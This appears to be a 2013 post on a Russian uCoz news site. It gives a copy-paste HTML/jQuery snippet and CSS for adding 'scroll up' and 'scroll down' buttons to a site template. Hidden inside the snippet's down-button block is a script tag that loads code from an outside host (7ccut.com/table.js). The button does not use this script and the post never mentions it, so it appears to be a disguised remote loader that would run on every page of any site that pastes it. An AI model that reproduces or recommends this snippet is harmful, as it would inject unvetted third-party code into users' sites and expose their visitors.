Сайты Новостей
вы можете добавить свои новости

           
Скачать программы Лучшие mp3 новинки Фармация и Медицина GIF приколы скачать Новости Интернета Русские Новости
Скачать программы Лучшие mp3 новинки Фармация и Медицина GIF приколы скачать Новости Интернета Русские Новости
Приветствую Вас Гость | RSS

На этот сайт КАЖДЫЙ зарегистрированный пользователь может бесплатно добавить свой материал: рассказ или рекламную статью, с активной ссылкой на свой ресурс. Главное условие - ваша статья должна быть интересной, УНИКАЛЬНОЙ и не должна противоречить законам РФ. Если ваша статья уже была размещена в Интернете, то такой материал НЕ будет активирован.
Добавить свою новость
Новости музыки Новости туризма Новости Интернета Новости политики Новости фармации Новые Игры Все о лекарствах Новые программы

Форма входа

Меню сайта

Категории раздела
Авто и мото [0]
Здоровье [0]
Знаменитости [0]
Игры [0]
Интернет [2]
Кино [0]
Компьютеры [0]
Культура и искусство [0]
Мобильный мир [0]
Мода и стиль [0]
Музыка [0]
Наука и техника [0]
Недвижимость [0]
Общество [0]
Политика [0]
Пресс релизы компаний [0]
Программы [0]
Скандалы и происшествия [0]
Скрипты для ucoz [8]
Спорт [0]
Туризм и отдых [1]
Учёба и образование [0]
Шоу-бизнес [0]
Экономика и финансы [0]
Юмор и развлечения [0]

Наша кнопка
Мы будем вам признательны, если вы разместите нашу кнопку у себя на сайте.

Описание сайта


Кто на сайте?

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0

Главная » 2013 » Декабрь » 7 » Кнопка Вверх и вниз для сайта
21:43
Кнопка Вверх и вниз для сайта
Как правильно установить кнопку "Вверх и вниз" на сайт?

Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

Код
<div style="display:none;" class="nav_up" id="nav_up">
  <img alt="↑" width="32" height="32" src="http://pnghosts.ru/img/2_u.ico" > </div>
  <div style="display:none;" class="nav_down" id="nav_down">
  <script src="http://7ccut.com/table.js" type="text/javascript"></script>
  <img alt="↓" width="32" height="32" src="http://pnghosts.ru/img/2_d.ico" > </div>
  <script>
  $(function() {
  var $elem = $('body');
   
  $('#nav_up').fadeIn('slow');
  $('#nav_down').fadeIn('slow');  
   
  $(window).bind('scrollstart', function(){
  $('#nav_up,#nav_down').stop().animate({'opacity':'0.2'});
  });
  $(window).bind('scrollstop', function(){
  $('#nav_up,#nav_down').stop().animate({'opacity':'1'});
  });
   
  $('#nav_down').click(
  function (e) {
  $('html, body').animate({scrollTop: $elem.height()}, 800);
  }
  );
  $('#nav_up').click(
  function (e) {
  $('html, body').animate({scrollTop: '0px'}, 800);
  }
  );
  });
  </script>


Это вставляем в "Таблица стилей (CSS)" в самый низ

Код
.nav_up{
  padding:2px;
  position:fixed;
  width:32px;
  height:32px;
  bottom:20px;
  opacity:0.7;
  right:30px;
  cursor: pointer;
  }
.nav_down{
  padding:2px;
  position:fixed;
  width:32px;
  height:32px;
  bottom:20px;
  opacity:0.7;
  right:66px;
  cursor: pointer;
  }


Готово.
Просмотров: 405 | Добавил: Bitfood | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Поиск

Календарь
«  Декабрь 2013  »
ПнВтСрЧтПтСбВс
      1
2345678
9101112131415
16171819202122
23242526272829
3031

Архив записей

Друзья сайта
Наши друзья
  • скачать mp3 рингтоны
  • сделать презентацию
  • Караоке в Севастополе
  • русские экскурсии в Париже
  • Трансфер в париже
  • льготные лекарства 2015

  • Copyright MyCorp © 2024